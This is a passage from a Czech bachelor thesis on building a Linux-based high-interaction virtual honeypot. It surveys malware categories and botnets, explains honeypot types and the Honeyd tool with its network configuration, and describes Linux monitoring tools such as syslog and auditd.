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Abstrakt
Bakalářská  práce  pojednává o nástrojích  typu honeypot  a  úpravě linuxového systému do 
podoby takovéhoto  nástroje.  V práci  je  představeno obecné rozdělení  škodlivých kódů a 
současné trendy v této oblasti. Současně je prezentován existující honeypot nástroj Honeyd a 
jeho  možnosti.  Poté  jsou  představeny  nástroje  a  techniky  na  monitorování  linuxového 
systému, porovnány vybrané virtualizační  technologie a popsán postup tvorby virtuálního 
linuxového honeypotu.
Abstract
This  bachelor thesis deals with honeypot tools and  adapting a Linux operating system into 
such tool. The thesis presents general categories of malicious codes and current trends in this 
area. The thesis also presents an existing honeypot tool Honeyd and its features. Next there 
are  introduced  tools  and  techniques  to  monitor  a Linux  system,  compared  the  selected 
virtualization technology and explained the process of creating a virtual Linux honeypot.
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1 Úvod
Výpočetní technika se v posledních letech stává neodmyslitelnou součástí životů čím dál tím většího 
počtu  lidí.  V  souvislosti  s  tím  se  stupňuje  i  množství  nebezpečného  malwaru 1,  který  uživatele 
ohrožuje. Každý den jsou identifikovány desetitisíce nových škodlivých kódů a toto číslo každoročně 
narůstá [1]. Útoky na počítačové systémy jsou automatizované, rychlé a odhalení nového typu útoku 
není snadné.
Počet uživatelů Internetu se neustále zvětšuje. S tím se zvětšuje i množství služeb, které jsou na 
Internetu přítomné. Přesouvá se tam společenský život, chodí se tam za zábavou, nakupovat, provádět 
bankovní úkony, komunikovat s úřady a tento výčet možností není zdaleka úplný. Důležitost Internetu 
a informačních technologií ilustruje fakt, že mezi americkými firmami, které drží nejvíce kapitálů jsou 
technologické firmy jako Microsoft,  Cisco a Google2.  Společnost Google je  ukázkovým  příkladem 
toho, že díky Internetu se dá legálně vydělat velké množství peněz. Slovo „legálně“ v předchozí větě  
je důležité. Internet se totiž díky množství uživatelů a nabízených služeb stal rájem pro zločince, ať už 
jednotlivce či skupiny, které se rozhodly vydělávat nelegálními aktivitami.
První škodlivé kódy v začátcích Internetu byly psány s různými pohnutkami, přičemž finanční 
zisk tvůrce, případně finanční ztráta někoho jiného, nebyly tenkrát tak v popředí jako dnes. Jeden 
z prvních internetových červů zvaný Morris worm, byl vytvořen jako experiment. Tento experiment se 
sice vymknul kontrole a způsobil velké škody, ale nešlo o záměr [9]. Naproti tomu hnacím motorem 
obrovského boomu škodlivých kódů, kterého jsme svědky v současné době, je zejména zisk. Cílem 
těchto kódů je vše, co může mít nějakou hodnotu. Kromě osobních údajů včetně hesel jsou to stále  
častěji prostředky napadeného počítače. K čemu jsou prostředky napadeného počítače využívány bude 
zmíněno ve druhé kapitole této práce.
Z  výše  uvedeného  plyne  zřejmá  potřeba  mít  prostředky  pro  včasnou  identifikaci,  analýzu
a prevenci nových hrozeb. Antivirové programy využívající k identifikaci škodlivých kódu databáze 
vzorů  jsou účinné pouze proti  již  známým hrozbám.  Použití  heuristik,  pro odhalení  nového typu 
nebezpečného kódu, sice úspěšnost antivirových programů při odhalení neznámých hrozeb zlepšuje,  
má to však i své nevýhody. Čím je heuristika citlivější, tím více hrozeb dokáže odhalit.  Na druhou 
stranu tím stoupá počet falešných poplachů a to může způsobit ztrátu uživatelovi ostražitosti. Z tohoto  
důvodu je třeba mít systém, který dokáže identifikovat co největší množství nových hrozeb a zároveň 
generovat minimum falešných poplachů.
1 Malware je výraz vzniklý spojením slov „malicious“ a „software“ označující veškerý škodlivý kód.
2 http://online.wsj.com/article/SB10001424052748703766704576009501161973480.html  
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1.1 Cíle práce
Cílem této  práce je  vytvoření  vysoce interaktivního virtuálního  honeypotu na  bázi  Linuxu.  Tento 
nástroj by měl sloužit k zachytávání síťových útoků a tím umožňovat odhalit nové postupy a techniky 
užívané při útocích na linuxové operační systémy. Jeho úkolem by mělo být získat dostatek informací 
o tom, jakou činnost v systému útočník provádí před a po úspěšné kompromitaci a pomoci tak odhalit 
co nejvíce informací jak o útoku, tak samotném útočníkovi.  Při tvorbě honeypotu budou nasazeny 
existující prostředky a nástroje pro sledování a audit linuxového systému. Možnosti takto vytvořeného 
honeypotu budou v závěru porovnány s již existujícím řešením v podobě nástroje Honeyd.
V kapitole 2 budou vysvětleny základní pojmy týkající se škodlivého softwaru, jeho rozdělení 
a nastíněny  současné trendy  v  této  oblasti.  Zmínka  bude  i  o  sofistikovaných  hrozbách jako  jsou 
botnety. Následně budou představeny nástroje typu honeypot, včetně jejich principů a rozdělení do 
několika kategorií. Ke konci kapitoly bude představen již zmíněný nástroj Honeyd a jeho možnosti.
3.  kapitola  bude  věnována  technikám  a  nástrojům  pro  monitorování  linuxového  systému. 
Představeny budou i  nástroje  pro  monitorování  a  analýzu  síťové  komunikace  a  také  open-source 
systém detekce a prevence průniků Snort.  Na základě analýzy  provedené  v této kapitole pak budou 
vybrány nástroje pro nasazení do honeypotu.
Kapitola  4  bude  věnována  návrhu  a  tvorbě  avizovaného  honeypotu.  Bude  popsán  návrh, 
v kterém  budou  využity  poznatky  ze  třetí  kapitoly.  Bude  diskutován výběr  optimální  linuxové 
distribuce,  vhodných  služeb  a konkrétního  softwaru.  Zmíněny  budou  i  modifikace,  které  byly 
v původním software provedeny. Stručně popsána bude i samotná instalace takového systému. Druhá 
část  této kapitoly se pak zaměří  na  hostitelský systém, na kterém bude tento  vytvořený honeypot 
provozován.  Bude  vybrána  vhodná  virtualizační  technologie  a  popsána  příprava  hostitelského 
systému.
V kapitole číslo 5 budou  popsány experimenty s vytvořeným honepotem a bude provedeno 
porovnání  s  nástrojem  Honeyd.  Při  experimentech  budou  oba  honeypoty  vystaveny  do  internetu 
s veřejnou ip adresou a budou zachytávány síťové útoky. Při dalších porovnávacích experimentech pak 
budou  využity  i nástroje  pro  penetrační  testování.  V 6.  kapitole  budou shrnuty veškeré  poznatky 
o vytvořeném honeypotu a navrhnuta další možná rozšíření.
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2 Základní pojmy
V této kapitole budou popsány a vysvětleny základní pojmy z oblasti počítačové bezpečnosti, které  
nějak souvisejí s honeypoty. V prvé řadě budou popsány jednotlivé druhy škodlivého softwaru. Dále se 
blíže podíváme jeden konkrétní druh škodlivého software a to na botnety, které jsou v současnosti 
jednou z největších a nejsofistikovanějších hrozeb. Poté budou popsány současné trendy.  V závěru 
kapitoly budou popsány nástroje typu honeypot, jejich principy a rozdělení do kategorií.
2.1 Přehled malware
Malware je výraz, vzniklý spojením slov „malicious“ a „software“, souhrnně označující škodlivý kód.  
Za škodlivý kód je považován software, který využívá prostředky počítače bez vědomí a souhlasu 
vlastníka.  Cílem  takového  kódu  můžou  být  data,  ať  už  za  účelem  krádeže  či  poškození,  nebo 
prostředky  počítače,  kdy  je  napadený  systém  využíván  v  rozporu  se  zájmy  uživatele,  například 
k dalšímu šíření sebe sama či rozesílání nevyžádané pošty. Podle způsobu šíření a své funkce je tedy 
možné malware rozdělit do následujících skupin.
2.1.1 Počítačový virus
Hlavní schopností  počítačového viru, stejně jako biologického viru, je schopnost šíření sebe sama. 
Toto šíření probíhá pomocí replikace, kdy virus napadá další hostitele v rámci systému a vkládá do  
nich svůj kód. Těmito hostiteli  mohou být spustitelné soubory, skripty nebo systémové oblasti disku 
jako boot sektory či master boot record.
2.1.2 Počítačový červ
Červ,  stejně jako počítačový vir,  má schopnost  šíření  sebe sama.  Na rozdíl  od viru však k šíření 
využívá počítačovou síť a proto nepotřebuje hostitele ve formě souboru. Pro své šíření využívají červi 
různých  síťových  služeb  a  protokolů.  Kromě  zneužívání  zranitelností,  způsobených  chybou 
v programu  či  špatnou  konfigurací,  využívají  někteří  červi  i  sociálního  inženýrství3.  Takovým 
příkladem, který úspěšně využil sociálního inženýrství je červ ILOVEYOU.
2.1.3 Trojský kůň
Program nebo jeho část, která potají vykonává činnost, která není v zájmu uživatele. Trojský kůň se na 
rozdíl od virů a červů neumí sám šířit. Příkladem činností, které může trojský kůň v systémů provádět 
je  odposlouchávání  hesel  a osobních údajů,  zachytávání  a záznam stisků kláves,  otevření  zadních 
vrátek do systému či rozesílání nevyžádané pošty. Příkladem trojských koní jsou například falešné 
antivirové programy4, které předstírají funkci skutečných antivirových programů.
3 Sociální inženýrství označuje manipulaci s lidmi za účelem získání důvěrných informací, či provedení nějaké 
činnosti. V případě červa ILOVEYOU šlo o to aby uživatel otevřel infikovanou přílohu emailu.
4 http://www.eset.cz/kryptik-falesny-antivirus  
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2.1.4 Spyware
Špionážní software, který sbírá informace o uživateli bez jeho vědomí. Těmito informacemi mohou 
být hesla, osobní údaje, nebo třeba statistiky navštívených stránek a používaných programů. Spyware 
někdy  bývá  součástí  bezplatných  verzí,  nebo  demoverzí  jinak  placených  programů,  kdy  právě 
instalace spyware je protihodnotou za možnost bezplatného používání programu.
2.1.5 Rootkit
Software,  který poskytuje  privilegovaný přístup k systému a  aktivně skrývá svoji  přítomnost,  aby 
zamezil odhalení. Příkladem rootkitu pro operační systém Linux je Adore-ng5 rootkit. Adore-ng byl 
jaderný modul, který skrýval sám sebe a umožňoval i skrývání jiných procesů, souborů nebo síťových 
připojení. Dovoloval také spouštění nových procesů s právy superuživatele. Pro jeho ovládání sloužil 
pomocný  program jménem Ava.  Dalšími  příklady rootkitů  pro  Linux jsou:  SuckIT, Rial,  Afhrm, 
Synapsis, Knark, Itf.
2.1.6 Exploit
Exploit je program, či speciálně upravená data, která zneužívají chybu v programu. Podle programu 
a závažnosti chyby pak umožňují exploity například způsobit pád programu, systému, nebo získání 
administrátorských práv.
2.2 Botnety
Škodlivé botnety jsou sítě kompromitovaných počítačů, které jsou řízeny na dálku a jejich účelem je 
provádět distribuované útoky (DDoS), distribuci pirátského obsahu, rozesílání spamu, trojských koní,  
podvodných emailů a provádění dalších, obvykle nelegitimních, aktivit [3]. 
Podle autorů knihy Botnet Detection: Countering the Largest Security Threat  [2]  jsou botnety 
jednou z  nejnebezpečnějších  síťových  hrozeb dneška,  protože  zahrnují  velké  množství 
koordinovaných skupin hostů, schopných jak sofistikovaných, tak útoků hrubou silou. Jeden konkrétní 
napadený počítač se nazývá bot, nebo také zombie. Bot je počítač infikovaný škodlivým kódem, který 
provádí  činnost,  která  není  v  zájmu  vlastníka  počítače  a  je  prováděna  bez  jeho  vědomí.  Mezi  
nejznámější  botnety poslední  doby patří  bezesporu Rustock a  botnet  vytvořený škodlivým kódem 
Zeus.
2.2.1 Rustock
Rustok je botnet zaměřený na masivní rozesílání spamu. V emailových schránkách, nastražených za 
účelem  zachytávání  spamu,  společnosti  Marshal8e6,  bylo  za  první  pololetí  roku  2009  přes  40% 
zachyceného  spamu  odesláno  právě  botnetem  Rustock.  Jediný  bot  tohoto  botnetu,  v  případě 
standardního PC, je schopný odeslat okolo 25 000 emailových zpráv za hodinu. Ke skrytí sama sebe 
v napadeném systémů Rustock využívá rootkit [4].
5 Zdrojový kód rootkitu Adore-ng: http://packetstormsecurity.org/groups/teso
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Z poznatků  společnosti  McAffe6 za  poslední  čtvrtletí  roku  2010  vyplývá,  že  právě  botnet 
Rustock byl nejaktivnějším známým botnetem ve většině částí světa a zejména pak v USA [5].
2.2.2 Zeus
Zeus,  také  zvaný  Zbot  nebo PWS-Zbot,  je  trojský  kůň obsahující  funkce  a  vlastnosti  bota.  Jeho 
hlavním zaměřením je kradení přihlašovacích a osobních údajů, zejména pak k účtům sociálních sítí,  
emailu a internetovému bankovnictví. Zeus byl poprvé identifikován v roce 2007, kdy byl použit ke 
krádeži údajů z Ministerstva dopravy Spojených států amerických [10]. 
Vývoj Zeusu ale neustále probíhá a společnost McAfee zaznamenala ve třetím čtvrtletí roku 
2010 několik  spamových7 akcí,  jejíchž  účelem byla  snaha  o  rozšíření  Zeusu.  Graf  na  obrázku  1 
zobrazuje počty nových internetových domén hostujících pouze škodlivý kód Zeus. Jak bylo nastíněno 
v  úvodu,  současný  malware  je  tvořen  především  za  účelem  zisku  a  právě  Zeus  je  dokonalým 
příkladem. Na ilegálních diskuzních fórech je možné zakoupit takzvaný „Exploit kit“, který obsahuje 
nástroje pro vytvoření vlastního Zeus bota. Cena takovéhoto Exploit kitu se pohybuje mezi 3 000 až 
4 000 amerických dolarů. A k němu je dále možné dokoupit zásuvné moduly, jejichž ceny se pohybují 
v rozmezí 500 až 10 000 amerických dolarů [1].
Obrázek 1: Počty nových URL hostujících Zeus. Obrázek převzat z [1].  
2.3 Další současné trendy
Za poslední čtvrtletí roku 2010 je zřetelný pozvolný nárůst škodlivého kódu zaměřeného na mobilní 
zařízení,  zejména  pak  na  chytré  mobilní  telefony  [5].  Zájem  útočníků  o  mobilní  zařízení  je 
pravděpodobně spojen s faktem, že v současné době velké množství bankovních institucí využívá při 
autentizaci klienta kód odeslaný pomocí sms na mobilní telefon zákazníka. Přednáška na toto téma se 
objevila i  na konferenci  o počítačové bezpečnosti  ShmooCon  2011, která proběhla začátkem roku 
6 Společnost zabývající se počítačovou bezpečností založená v roce 1987. V roce 2010 koupená firmou Intel.
7 Spam je název pro nevyžádanou zprávu, nejčastěji se pak vyskytuje ve spojitosti s elektronickou poštou.
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2011 ve Washingtonu (http://www.shmoocon.org/speakers#mtans). 
Další  aktuální  hrozbou jsou  škodlivé  kódy určené  pro  průmyslovou špionáž  jako  například 
StuxNet.  Tento červ využívaje zranitelností nultého dne8 v operačním systému Microsoft Windows, 
napadal  počítače  po  celém  světě.  V napadených  počítačích  hledal  SCADA9 systémy  od  firmy 
Siemens. Tento červ stál s největší pravděpodobností i za vyřazením Íránských centrifug, pro výrobu 
obohaceného uranu, z provozu.
2.4 HoneyPot
Definice  z  knihy  Virtual  Honeypots  [7]  říká  že:  „Honeypot  je  důkladně  monitorovaný  výpočetní 
prostředek u kterého chceme, aby byl  sondován,  napadán a kompromitován.10“.  Jde tedy o nějaký 
zdroj, jehož jediným cílem je, aby byl vystaven útokům. Díky monitorování tohoto napadaného zdroje 
pak můžeme získat velké množství cenných informací o způsobech a cílech útoků či o samotných 
útočnících. Čím více informací nám může honeypot poskytnou, tím je jeho hodnota a přínos vyšší.  
Oproti jiným systémům detekce průniků má honeypot hned několik výhod.
2.4.1 Honeypot versus IDS
Standardní  síťové IDS11 umí detekovat průnik či útok a to na buď na základě otisku12, nebo pomocí 
detekce anomálií v síťovém provozu. V prvním případě, detekce útoku podle otisku je třeba, aby měl 
IDS otisk konkrétního útoku ve své databázi, tudíž tento typ útoku musí být již známý a musí pro něj 
být vytvořen otisk.  Současně musí být databáze těchto otisků v IDS aktuální. Tento systém detekce 
tedy selže v případě, že jde o nový, neodhalený typ útoku. V druhém případě je útok detekován na 
základě sledování síťového provozu. Konkrétně se může u provozu sledovat jeho objem, zdroje a cíle 
paketů, porty a další podobné ukazatele. Tyto nasbírané data se pak porovnávají s daty nasbíranými  
během normálního provozu. Pokud se v síti vyskytne nějaká anomálie, tedy stav kdy se síťový provoz 
výrazně odchyluje od standardního stavu je vyvolán poplach.
Problémem  IDS  jsou  zejména  falešné  poplachy,  které  jsou  vygenerovány  i  přes  to,  že 
k žádnému útoku nedochází.  Takovýto  poplach  může  vyvolat  například  velké  zálohování,  kdy se 
najednou na sítí  objeví  anomálie v podobě velkého přenosu dat  a IDS to chybně vyhodnotí  jako 
bezpečnostní riziko. Naproti tomu u honeypotu je šance na falešný poplach velmi nízká. Je to dáno 
celou jeho podstatou. Honeypot nemá v síti žádnou produktivní hodnotu a nikdo a nic nemá důvod se 
na něj připojovat či s ním jakkoli jinak interreagovat. Z toho principu je každá interakce s honeypotem 
ve své podstatě podezřelé chování, které si zaslouží pozornost správce.
Činnost IDS také paradoxně komplikují obecné snahy o větší bezpečnost přenášených dat. Čím 
dál tím větší nasazování šifrovaných protokolů pro přenos dat komplikuje systémům IDS práci. Data 
která  jsou  přenášena  šifrovaným protokolem nemohou  být  pomocí  IDS  analyzována  a tak  i jinak 
8 Doposud obecně neznámá zranitelnost, kterou je možné využít k napadení systému.
9 SCADA je zkratka „Supervisory control and data acquisition“ a představuje kontrolní průmyslové systémy.
10 „A honeypot is a closely monitored computing resource that we want to be probed, attacked, or 
compromised.“
11 Intrusion detection system – Systém detekce průniků.
12 Otisk je specifická sekvence bytů nebo paketů.
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známý útok může zůstat  neodhalen.  Naproti  tomu u honeypotu tento problém neexistuje,  protože 
máme možnost monitorovat přímo samotný systém a nikoli pouze síťovou komunikaci.
Jedna z největších výhod honeypotů spočívá v možnosti detekce nových či neznámých útoků 
a zranitelností. Analýzou toho jak se na honeypot útočník dostal a co v něm dělá, můžeme objevit 
nové zranitelnosti nultého dne. Mimo to můžeme získat i nové nástroje nebo zdrojové kódy, pokud je 
útočník na napadeném systému použil.
Neméně  důležitý  přínos  honeypotu  oproti  IDS,  spočívá  v  odvrácení  útoku  díky  zdržení 
útočníka. Honeypot může oproti jiným počítačům v síti, nabízet velké množství služeb a jevit se jako 
nejdůležitější či nejzranitelnější článek. Při napadení sítě tak může útočník začít útočit na honeypot  
a zbytek sítě  nechat  bez povšimnutí.  Vzhledem k povaze honypotu tak tento útok bude okamžitě 
prozrazen a správce bude mít možnost adekvátně zareagovat, přijmout nezbytná opatření a odvrátit  
potencionální další útok na zbytek sítě.
2.4.2 Rozdělení honeypotů
Nástroje  typu  honeypot  se  dají  rozdělit  do  několika  základních  kategorií  a to  buď  podle  úrovně 
interakce nebo podle způsobu svého nasazení.
Vysoce interaktivní honeypot
Honeypot poskytující reálný systém. Může jít jak o reálný operační systém, tak například o skutečné  
síťové  zařízení  jako  switch  nebo  router.  Takovýto  honeypot  může  útočník  zcela  kompromitovat 
a získat jeho zdroje. Výhodou je možnost sledovat celý průběh útoku, což poskytuje velké množství 
informací.
U těchto honepotů je vhodné provést bezpečnostní opatření, která zamezí útočníkovi způsobit 
škody pomocí kompromitovaného systému. Mezi takovéto opatření může kupříkladu patřit blokování 
portů  pro  odesílání  zpráv  elektronické  pošty,  což  zamezí  tomu  aby  útočník  mohl  rozesílat  
nevyžádanou poštu.
Nízce interaktivní honeypot
Nízce  interaktivní  honeypot,  oproti  vysoce  interaktivnímu,  neposkytuje  celý  reálný  systém,  ale 
simuluje pouze část systému či služby. Takovéto honeypoty lze většinou po chvíli interakce odhalit. 
Obvykle tak  není  možné  sledovat  celý  průběh  útoku,  ale  pouze  jeho  začátek.  Výhodou  těchto  
honeypotů je, že neumožňují útočníkovi zcela kompromitovat systém a nevytváří tak bezpečnostní  
riziko.  Tento  typ  se  hodí  zejména  pro  sběr  otisků  začátků  útoků  nebo  kvantitativních  informací 
o počtech útoků.
Fyzický honeypot
Jde o takový honeypot, který je provozován přímo na skutečném hardware. Fyzické honeypoty jsou 
většinou zároveň vysoce interaktivní honeypoty a mohou tak být zcela kompromitovány. Nevýhodou 
nasazení těchto honeypotů je vyšší cena a složitější správa.
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Virtuální honeypot
Virtuální honeypot je systém provozovaný ve virtualizovaném prostředí, nebo software simulující část  
systému či služby. Virtuální honeypot může být jak vysoce tak nízce interaktivní. Výhodou virtuálních 
honepotů je jejich cena a snadnost správy. Na jednom fyzickém počítači mohou být spuštěny desítky,  
stovky či tisíce virtuálních systémů sloužících jako honeypoty.
2.4.3 Honeynet
Honeynet  je  síť  několika  propojených  honeypotů.  V těchto  sítích  je  většinou  několik  odlišných 
honeypotů, převážně těch vysoce interaktivních, s různými operačními systémy. Takovýto honeynet  
pak může souběžně sbírat data o různých typech útoků proti různým systémům.
2.4.4 Honeyd
Honeyd je nástroj,  který umožňuje vytvořit tisíce virtuálních honeypotů s různými službami. Je to 
nízko interaktivní virtuální honeypot, který podporuje IP protokol a odpovídá na síťové požadavky 
určené adresám, které jsou v něm nakonfigurované. Před samotným odesláním odpovědi je odpověď 
upravena  tak,  aby  vypadala,  že  byla  vytvořená  operačním systémem,  který  je  pro  daný  virtuální 
počítač nakonfigurovaný. Honeyd v podstatě simuluje operační systém na úrovni TCP/IP zásobníku 
a díky tomu dokáže zmást nástroje pro identifikaci operačního systému na základě otisků, jako jsou 
Nmap a Xprobe. Honeyd může pracovat jako démon, který obsadí nevyužité IP adresy v síti a vytvoří  
na  nich  virtuální  počítače,  kterým můžeme nastavit  různou  osobnost.  Osobnost  určuje  jaký  otisk 
ponesou pakety daného virtuálního počítače. 
Honeyd také umožňuje vytvořit virtuální síťovou strukturu (routovací topologii), včetně routerů. 
U virtuálních síťových linek je pak možné nakonfigurovat spolehlivosti a zpoždění, čímž se virtuální  
síťová struktura stane navenek nerozeznatelnou od skutečné. Díky těmto vlastnostem je pak například 
možné na počítači s Linuxem pomocí Honeyd vytvořit virtuální sít obsahující stovky koncových stanic 
s MS Windows, desítkou switchů od společnosti CISCO a několika servery s FreeBSD.
Díky velkému množství virtuálních systému, kterými lze pomocí Honeyd zaplnit volné sítové 
adresy, je možné nasadit Honeyd za účelem odvrácení útoků. Například v případě, že by společnost  
vlastnila adresový prostor, pro celou síť třídy C, přičemž reálně využívala pouze pár desítek IP adres,  
je  nasazení  Honeyd na zbylé  desítky či  stovky volných adresy velmi  dobrý tah v zájmu zvýšení 
bezpečnosti.
Ostatní zajímavé vlastnosti nástroje Honeyd
Kromě již zmíněných schopností, jako vytvořit tisíce různých virtuálních počítačů v rámci jednoho 
fyzického počítače, simulace libovolné routovací topologie, či  simulace TCP/IP zásobníků různých 
operačních systému, disponuje Honeyd i dalšími užitečnými vlastnostmi. 
Mezi  ty  patří  simulace  síťových  služeb.  O tuto  simulaci  se  starají  skripty  nebo  programy, 
přičemž  v  konfiguraci  je  možno  zvolit,  který  program nebo skript  bude  spuštěn  po  připojení  na 
konkretní port, konkrétního virtuálního počítače. Veškerý vstup od útočníka je pak přesměrován na 
standardní vstup skriptu, či programu a naopak výstup je odesílán zpět útočníkovi. Správce systému 
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s honeyd  má  tedy  možnost  napsat  si  svoje  vlastní  skripty,  simulující  specifické  služby,  které  se  
nacházejí v síti pod jeho správou a tím zvýšit důvěryhodnost honeypotu.
Velmi užitečnou vlastností Honeyd je také schopnost virtualizace subsystému, která umožňuje 
spuštění  skutečných  unixových  aplikací  ve  virtuálním  jmenném  prostoru  honeypotu.  To  přináší 
možnost spustit pro virtuální honeypot reálné služby jako webový či ftp server.
Konfigurace sítě s Honeyd
Pro používání Honeyd je třeba vyřešit problém týkající se konfigurace sítě. Ten vyplývá z faktu, že 
počítač simulující  stovky,  či  tisíce honeypotů s různými IP adresami má ve skutečnosti  IP adresu 
pouze jednu. Problém ilustruje obrázek číslo  2. Mějme síť 192.168.1.0, ve které je router s adresou 
192.168.1.1  a  dva  fyzické  počítače  s  adresami  192.168.1.2  a  192.168.1.3.  Honeyd je  spuštěn  na 
počítači s adresou 192.168.1.3 a virtuální honeypoty mají adresy 192.168.1.10 až 192.168.1.12.
Problém  nastane  ve  chvíli,  kdy  se  někdo  pokusí  poslat  pakety  na  IP  adresu  některého 
z Honeypotů, přičemž je jedno, jestli ten někdo bude z lokální sítě, či z internetu. Potíž je v tom, že IP 
adresy  honeypotů nejsou přiděleny žádnému fyzickému rozhraní v síti a  vznikne problém na druhé 
síťové vrstvě modelu ISO/OSI.  Počítač,  včetně routeru, který bude chtít odeslat paket na cílovou IP 
adresu honeypotu, bude pro odeslání paketu potřebovat fyzickou MAC adresu rozhraní, na které má 
odeslat  rámec  s paketem. K tomu využije protokol ARP, který se používá ke zjištění fyzické adresy 
sousedního stroje z jeho IP adresy. Jenže na ARP požadavek routeru žádné zařízení v síti neodpoví, 
protože požadovanou IP adresu ve skutečnosti nemá žádné zařízení nastaveno.  Takže ARP protokol 
MAC adresu nezíská, paket bude zahozen a k honeypotu se nedostane.
Obrázek 2: Příklad sítě s virtuálními honeypoty.
Tento problém se dá řešit několika způsoby, nejjednodušší je použít ARP proxy, kdy na počítači, 
kde je spuštěn Honeyd nastavíme, že pro IP adresy virtuálních honeypotů je MAC adresa stejná jako 
jeho. Budeme předpokládat, že MAC adresa hosta s Honeyd je 11:22:33:44:55:66. Příkaz, kterým na 
počítači s Honeyd nastavíme ARP proxy je:
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arp -s 192.168.1.10  11:22:33:44:55:66
Nyní když bude chtít  někdo poslat paket na adresu 192.168.1.10, bude mít možnost zjistit, že jej má 
odeslat na MAC adresu 11:22:33:44:55:66.
Druhým,  poměrně  jednoduchým  způsobem  řešení,  je  nastavení  statické  cesty  na  routeru 
192.168.1.1 pomocí příkazu:
route -n add -net 192.168.1.8/29 192.168.1.3
Router nyní  bude vědět,  že všechny pakety určené pro  některý z  virtuálních honeypotů má 
zasílat na adresu, která patří  počítači s Honeyd.  MAC adresu počítače s Honeyd lze pomocí ARP 
protokolu snadno získat a problém, že v sítí nelze zjistit MAC adresy pro IP vytvořených honeypotů,  
je tedy vyřešen.
Na počítači s Honeyd, je třeba mít vypnuté přeposílání paketů. Pakety pro virtuální počítače, 
jsou totiž sice zpracovány pomocí Honeyd, ale operační systém si pořád myslí, že mu pakety nepatří. 
Pokud bude přeposílání paketů vypnuté, jádro pakety zahodí a vše bude v pořádku. Pokud však bude 
přeposílání  aktivované,  odešle  jádro  pakety  na  svoji  výchozí  bránu.  Tou je  router  na  adrese 
192.168.1.1. Ten má ale pro adresy honeypotů nastavenou jako výchozí bránu nastaven právě počítač 
s Honeyd a odešle mu tak pakety zpátky. V sítí tak dojde k routovací smyčce. Jiným způsobem, jak 
zamezit smyčce i  při  aktivovaném přeposílání  paketů, je na počítači s Honeyd spustit  jednoduchý 
firewall, vytvořený například pomocí iptables. Tento firewall by zakazoval přeposílání paketů, které 
mají jako cílovou adresu některý z virtuálních honeypotů.
2.5 Shrnutí
V této kapitole byly představeny a vysvětleny základní pojmy týkající se škodlivého softwaru. Také 
byly představeny některé vybrané exempláře a nastíněny současné hrozby. Následně byly popsány 
nástroje  typu honeypot,  jejich výhody a  rozdělení  do kategorií.  Na závěr  byl  prezentován nástroj 
Honeyd, včetně popisu jeho schopností a důležitými informacemi týkající se jeho konfigurace.
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3 Monitorování Linuxového systému
Pro vytvoření  vysoce interaktivního honeypotu na bázi  Linuxu je třeba se seznámit  s  existujícími 
technikami  a  nástroji,  které  umožní  Linuxový  systém  efektivně  monitorovat.  Několik  nástrojů 
vhodných  pro  tuto  činnost  bude  popsáno  v  následující  kapitole.  Díky  nim budou  získány  cenné 
informace  o  tom,  co  se  v  kompromitovaném  systému  děje.  Kromě  nástrojů  pro  monitorování 
linuxového systému budou diskutovány i nástroje pro monitorování síťového provozu a pro detekci 
síťových  útoků.  U  jednotlivých  nástrojů  budou  rozebrány  jejich  výhody  a  nevýhody.  Také  bude 
konstatována vhodnost pro nasazení ve vyvíjeném nástroji typu honeypot.
3.1 Centralizovaný systém logů (Syslog)
Syslog je název pro standard na záznam zpráv z programů. V unixových systémech je syslog server 
přítomen a velká část programů a démonů v systému jej využívá. Systémové protokoly, nebo-li logy 
obsahují množství cenných informací o tom, co se v systému dělo a děje. V případě honeypotu je  
prakticky bezpodmínečně nutné, neuchovávat tyto logy na samotném honeypotu, ale odesílat je mimo 
honeypot. V případě kompromitace superuživatelského účtu, totiž získá útočník možnost pozměnit, či  
zničit prakticky všechna lokálně uložená data, včetně logů. Ve všech, v Linuxu běžně používaných, 
syslog  serverech  není  problém nakonfigurovat  chování  tak,  aby  byly  logy odesílány  na  vzdálený 
server, namísto lokálního ukládání.
Některé z nástrojů, které budou zmíněny dále, umí využívat syslog a odesílat do něj zprávy 
o svém chování a stavu. Když připomeneme fakt, že zprávy syslogu se dají efektivně třídit a každý typ 
zprávy může být syslog serverem ukládán do zvláštního souboru, stává se syslog základním pilířem 
pro sledování linuxového systému honeypotu.
3.2 Process Accounting (Účtování procesů)
V dřívějších dobách byl Process Accounting hojně využíván pro uchovávání informací o spuštěných 
procesech,  spotřebovaném procesorovém čase  a  využité  paměti.  To vše bylo ukládáno za účelem 
následné fakturace.  Díky tomuto nástroji  tak může administrátor získat  přehled o tom co uživatel  
využívá  za  programy a  jak  dlouho.  Nevýhodou,  pro  detailnější  sledování  spouštěných procesů  je 
absence jejich parametrů příkazové řádky. Další nevýhodou u tohoto nástroje je také velké množství 
generovaných dat.
3.3 Auditd (Sledování systémových volání a přístupu k souborům)
Auditd  je  linuxový  démon  pro  audit  systému.  Pomocí  něj  je  možné  sledovat  systémová  volání 
a přístup k souborům nebo složkám v systému. Co přesně se má sledovat, se konfiguruje buď před 
spuštěním démona v konfiguračním souboru nebo za běhu, pomocí nástroje auditctl. Oba dva způsoby 
konfigurace lze i kombinovat. Každému pravidlu je možno přidělit klíč, kterým bude záznam v logu 
označen. Vhodně zvolený klíč může výrazně usnadnit a zrychlit analýzu záznamů z auditu. 
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U pravidel pro audit souborového systému je možno nastavit sledování čtyř základních událostí:  
Čtení, zápisu, spuštění a změny atributů. Tyto pravidla lze využít jak pro sledování souborů, tak pro  
sledování adresářů. Pro jeden objekt souborového systému může existovat i více pravidel, přičemž  
každé může sledovat jinou událost a mít jiný klíč.
U auditu systémových volání jsou možnosti konfigurace o něco větší. Tam je možno například 
sledovat jen jedno určité systémové volání a jeho použití napříč systémem, nebo sledovat všechny 
systémová  volání  konkrétní  aplikace  či  všechna  systémová  volání  použitá  jedním  konkrétním 
uživatelem. Možnosti nastavení pravidel auditu systémových volání jsou široké a detailnější informace 
je možné nalézt v manuálových stránkách nástroje auditctl.
Pro  využívání  démona  auditd  je  potřeba  mít  zkompilované  jádro  s  povolenou  volbou 
CONFIG_AUDITSYSCALL. V současných distribucích Fedora 14 a Ubuntu 10.10 je jádro s touto 
volbou zkompilováno a neměl by být s nasazením auditd problém.
Množství  záznamů generovaných do logů záleží  na množství  sledovaných entit.  Při  vhodné 
konfiguraci je tedy možné získávat relativně malé množství dat s vysokou relevancí.  Díky použití  
klíčů u jednotlivých pravidel, budou výsledná data i snadno analyzovatelná. Podstatné také je, že na  
ukládání výsledků auditu lze použít syslog a díky tomu je tato metoda auditu vhodná pro použití na  
honeypotu.
3.4 Grsecurity
Grsecurity  je  sada  jaderných  patchů  vylepšující  bezpečnost  linuxového  jádra.  Jeho  hlavní  
